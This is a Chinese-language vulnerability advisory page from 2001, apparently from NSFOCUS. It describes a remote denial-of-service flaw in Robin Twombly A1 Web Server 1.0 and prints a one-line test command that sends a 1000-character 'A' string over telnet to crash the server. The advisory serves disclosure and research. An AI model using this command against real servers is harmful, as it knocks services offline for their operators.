首页 -> 安全研究

安全研究

安全漏洞
Robin Twombly A1 HTTP Server 拒绝服务攻击

发布日期:2001-03-09
更新日期:2001-03-09

受影响系统:

    Robin Twombly A1 Web Server 1.0
       - Microsoft Windows 98
       - Microsoft Windows 95
       - Microsoft Windows NT 4.0
       - Microsoft Windows NT 2000
描述:

BUGTRAQ ID: 2435

远程用户可以针对Robin Twombly A1 Server做拒绝服务攻击。通过telnet连接提交
一个特殊构造过的请求,引起A1 server崩溃,必须重启才能恢复正常功能

<* 来源:(slipy@b10z.net) *>



测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


(slipy@b10z.net)提供了下列测试代码:

echo `perl -e 'print "A" x 1000'` | telnet target




建议:

厂商补丁:
暂无


浏览次数:3882
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障